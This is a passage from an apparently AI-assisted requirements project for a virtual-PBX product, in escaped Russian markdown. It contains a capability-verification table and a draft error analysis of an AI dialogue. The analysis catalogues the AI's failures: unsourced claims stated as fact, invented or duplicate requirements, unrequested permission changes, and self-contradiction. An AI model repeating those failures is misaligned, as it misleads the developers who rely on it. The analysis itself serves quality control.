\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b | [LK_manual_v-123, \u00a74.5.3.4, \u0441.209\u2013213](../../kb/processed/mango-lk-manual/sections/138-nastroyki.md) |\\n| RUN-0062 / \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e: 2FA \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430, \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043e\u0445\u0432\u0430\u0442 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e | [LK_manual_v-123, \u00a74.6.3.5, \u0441.467\u2013470](../../kb/processed/mango-lk-manual/sections/291-bezopasnost-pro.md) |\\n| RUN-0062 / SLA \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0435\u0437 \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0411\u0417\u2192web; \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u0443\u044e \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044e | [KB_index, \u00a7\u00ab\u0421\u043e\u0441\u0442\u0430\u0432 \u0411\u0417\u00bb, \u0441.n/a](../../kb/processed/README.md) |\\n| RUN-0065 / \u043a\u0430\u0440\u0443\u0441\u0435\u043b\u044c \u043d\u043e\u043c\u0435\u0440\u043e\u0432 | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 | \u0414\u0430: \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0440\u043e\u0442\u0430\u0446\u0438\u044f \u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u0440\u0443\u0441\u0435\u043b\u0435\u0439 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u0440\u044f\u043c\u043e | [LK_manual_v-123, \u00a74.5.19, \u0441.414\u2013416](../../kb/processed/mango-lk-manual/sections/252-karusel-nomerov.md) |\\n| RUN-0065 / \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 | \u0414\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043f\u043e \u043e\u0431\u0449\u0435\u0439 \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a\u0435 | \u0414\u0430/\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u043f\u043e \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u0438: FTP, FTPS, SFTP \u0438 \u043c\u043d\u043e\u0433\u043e\u043a\u0430\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b | [LK_manual_v-123, \u00a74.5.3.4, \u0441.209\u2013213](../../kb/processed/mango-lk-manual/sections/138-nastroyki.md) |\\n| RUN-0065 / API/TLS | \u041e\u0431\u0449\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u00abAPI \u0412\u0410\u0422\u0421\u00bb | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e: API-\u043a\u043e\u043d\u043d\u0435\u043a\u0442\u043e\u0440 \u0438 TLS 1.2 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b, \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u2014 \u043d\u0435\u0442 | [API_VPBX_v2, \u00a71.2, \u0441.7](../../kb/processed/vpbx-api/sections/04-trebovaniya-sovmestimosti-i-spisok-podde.md) |\\n| RUN-0065 / \u0410\u0432\u0438\u0442\u043e \u0420\u0430\u0431\u043e\u0442\u0430 | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 | \u0414\u0430 \u0434\u043b\u044f \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 | [LK_manual_v-123, \u00a74.5.11.2.2, \u0441.339\u2013345](../../kb/processed/mango-lk-manual/sections/210-avito-rabota.md) |\\n| RUN-0065 / \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u044b\u0435 SLA/\u0435\u043c\u043a\u043e\u0441\u0442\u044c | \u00ab\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb \u043a\u0430\u043a \u0444\u0438\u043d\u0430\u043b | \u041d\u0435\u0442: \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438/\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043e\u043c \u0438\u043b\u0438 \u0438\u0441\u043f\u044b\u0442\u0430\u043d\u0438\u0435\u043c; \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0435 \u0440\u0430\u0432\u043d\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 | [KB_index, \u00a7\u00ab\u0421\u043e\u0441\u0442\u0430\u0432 \u0411\u0417\u00bb, \u0441.n/a](../../kb/processed/README.md) |\\n\\n## \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n\\n1. \u041f\u043e\u0438\u0441\u043a \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0438\u043d\u0434\u0435\u043a\u0441\u0430, \u0437\u0430\u0442\u0435\u043c \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\\n   \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b; \u0441\u043f\u0438\u0441\u043e\u043a \u00ab\u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439\u00bb \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f SSOT boundary.\\n2. \u0421\u043e\u0441\u0442\u0430\u0432\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0440\u0443\u044e\u0442\u0441\u044f: `\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e` \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u0443\u044e\\n   \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c, \u0430 \u043d\u0435 \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0443\u044e \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c.\\n3. \u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 `[\u0444\u0430\u0439\u043b, \u00a7, \u0441.]`.\\n4. \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u0440\u0438\u0442\u0438\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u044b capability, \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u044b\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438,\\n   \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0431\u043b\u043e\u043a-\u0444\u0430\u043a\u0442\u043e\u0440\u044b; \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u043b\u0430\u0433 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d.\\n5. \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u0448\u0438\u0440\u0438\u043d\u0443, \u0448\u043a\u0430\u043b\u0443, \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\\n   \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u0435 \u043e\u0431\u0435\u0438\u0445 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u043c\u0430\u0448\u0438\u043d\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c\u044b\u043c.\\n\\n\u0414\u043e\u043c `docs/report/` \u0432\u044b\u0431\u0440\u0430\u043d \u043f\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f: \u044d\u0442\u043e \u0435\u0434\u0438\u043d\u044b\u0439\\n\u043c\u0435\u0436\u043f\u0440\u043e\u0433\u043e\u043d\u043d\u044b\u0439 RCA, \u0430 \u043d\u0435 output \u043e\u0434\u043d\u043e\u0433\u043e run; \u0441\u0430\u043c\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 RUN-0062 \u0438 RUN-0065.\\n---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-08-31\\ntemperature: 0.1\\n---\\n\\n# \u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u0448\u0438\u0431\u043e\u043a \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n\\n## \u041c\u0435\u0442\u043e\u0434 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0418\u0418 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u0434\u0438\u0430\u043b\u043e\u0433\u0435.\\n\u041a\u0430\u0436\u0434\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u0430 \u043a \u043e\u0434\u043d\u043e\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 issue #345; \u0432\u0442\u043e\u0440\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b\\n\u0443\u043a\u0430\u0437\u0430\u043d\u044b \u0432 \u043f\u043e\u044f\u0441\u043d\u0435\u043d\u0438\u0438. \u0427\u0438\u0441\u043b\u043e \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0439 \u043c\u0430\u043b\u043e (`n=8`), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0447\u0430\u0441\u0442\u043e\u0442\u044b \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\\n\u0442\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e\u0442 \u0434\u0438\u0430\u043b\u043e\u0433 \u0438 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e\u0431\u0449\u0443\u044e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0437\u043d\u0430\u0447\u0438\u043c\u043e\u0441\u0442\u044c.\\n\\n## \u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0439\\n\\n| ID | \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0438 evidence | \u041a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f | \u0412\u043b\u0438\u044f\u043d\u0438\u0435 | \u041a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- | --- | --- |\\n| ERR-01 | FR-01 \u0438 FR-02 RUN-0063 \u0432\u044b\u0434\u0430\u043b\u0438 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u041b\u0421 \u0438 \u0432\u044b\u0431\u043e\u0440 \u043f\u0435\u0440\u0438\u043e\u0434\u0430 \u0437\u0430 \u043d\u043e\u0432\u0443\u044e \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0443; \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0442\u0440\u0438\u0436\u0434\u044b \u0443\u043a\u0430\u0437\u0430\u043b \u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0443. | \u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | Scope \u0440\u0430\u0437\u0434\u0443\u0432\u0430\u0435\u0442\u0441\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043b\u043e\u0436\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438. | \u0414\u043e \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0424\u0422 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u0443 `\u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u2192 \u0434\u0435\u043b\u044c\u0442\u0430 \u2192 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a`; \u0432 FR \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u043b\u044c\u0442\u0443. |\\n| ERR-02 | \u0418\u0418 \u0437\u0430\u044f\u0432\u0438\u043b, \u0447\u0442\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u00ab\u0432\u0441\u0435\u0433\u0434\u0430\u00bb \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u041b\u0421 \u0438 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u041b\u0421 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u043c \u0441\u0435\u043b\u0435\u043a\u0442\u043e\u0440\u043e\u043c, \u0445\u043e\u0442\u044f \u0442\u0430\u043a\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0432 \u0434\u0438\u0430\u043b\u043e\u0433\u0435/\u0411\u0417 \u043d\u0435 \u043f\u0440\u0438\u0432\u0435\u043b. | \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0430 \u0434\u043e \u0444\u0430\u043a\u0442\u0430. | \u041b\u044e\u0431\u043e\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0431\u0435\u0437 SSOT \u043c\u0430\u0440\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u043e\u0439; \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 FR. |\\n| ERR-03 | \u0421\u043a\u0440\u0438\u043d\u0448\u043e\u0442 \u044f\u0432\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 `\u0421\u043a\u0430\u0447\u0430\u0442\u044c: CSV`, \u043d\u043e FR-05 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u043b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u044b\u0431\u043e\u0440 CSV/XLSX. | \u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | \u0414\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442. | \u0421\u0432\u0435\u0440\u044f\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 FR \u0441\u043e \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u043c \u0438 \u0411\u0417 \u0434\u043e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f. |\\n| ERR-04 | FR-06 \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430/\u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043d\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432. | \u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | \u041d\u0435\u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 scope \u0438 \u0440\u0438\u0441\u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0440\u043e\u043b\u0435\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438. | \u0422\u0435\u043a\u0443\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u043f\u043e\u043a\u0430 SSOT \u043d\u0435 \u043f\u0440\u043e\u0441\u0438\u0442 \u0438\u0445 \u043c\u0435\u043d\u044f\u0442\u044c. |\\n| ERR-05 | \u0418\u0418 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u043b, \u0447\u0442\u043e \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0441\u0442\u0440\u043e\u043a\u0430\u043c \u043d\u0435\u0442, \u0437\u0430\u0442\u0435\u043c \u2014 \u0447\u0442\u043e \u043e\u043d\u0430 \u0435\u0441\u0442\u044c; \u0442\u0435\u043a\u0443\u0449\u0430\u044f \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0430\u0433\u0440\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u043e \u0434\u043d\u044f\u043c, \u0430 \u0411\u0417 \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 CDR-\u0441\u0442\u0440\u043e\u043a\u0443. | \u041d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u0430 | \u041d\u0435\u0432\u0435\u0440\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f; \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u0435\u043d\u044f\u043b\u0438\u0441\u044c \u0431\u0435\u0437 evidence. | \u0420\u0430\u0437\u0432\u0435\u0441\u0442\u0438 \u00ab\u0430\u0433\u0440\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u044b\u00bb, \u00ab\u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u00bb \u0438 \u00ab\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u00bb \u0432 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0438; \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0444\u0430\u043a\u0442\u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u043e\u043f\u0440\u043e\u0441. |\\n| ERR-06 | \u00ab\u041f\u043e\u043b\u0435 \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0438 \u0423\u0441\u043b\u0443\u0433\u0430 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442, \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0438\u0445 \u0432 \u0434\u0430\u043d\u043d\u044b\u0435\u00bb \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0435\u0442 \u0444\u0438\u043b\u044c\u0442\u0440/\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0443 \u0441 \u043a\u043e\u043b\u043e\u043d\u043a\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. | \u041d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u0430 | \u0418\u0437 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 \u0441\u0434\u0435\u043b\u0430\u043d \u0432\u044b\u0432\u043e\u0434 \u043e \u0441\u0445\u0435\u043c\u0435 \u0434\u0430\u043d\u043d\u044b\u0445. | \u041e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0443 \u0438 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u043a\u0430\u043a \u0440\u0430\u0437\u043d\u044b\u0435 capabilities; \u0441\u0432\u044f\u0437\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e. |\\n| ERR-07 | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0432\u043e\u0441\u044c\u043c\u0443\u044e \u043a\u043e\u043b\u043e\u043d\u043a\u0443 \u00ab\u0414\u0430\u0442\u0430/\u0432\u0440\u0435\u043c\u044f\u00bb, \u043d\u043e \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043b\u0430 \u0435\u0435 \u0441 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f scope \u0438 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043b\u0430 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0432\u0438\u0434\u043e\u043c. | \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | \u041f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c. | \u041f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u0443\u044e \u043a\u043e\u043b\u043e\u043d\u043a\u0443 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 baseline \u0441 \u044f\u0432\u043d\u044b\u043c rationale \u0438 human gate. |\\n| ERR-08 | \u0414\u0438\u0430\u043b\u043e\u0433 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u0445 \u0438 \u043d\u0435 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b \u043e\u0431\u0435\u0449\u0430\u043d\u043d\u044b\u0439 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0424\u0422; \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0430\u044f 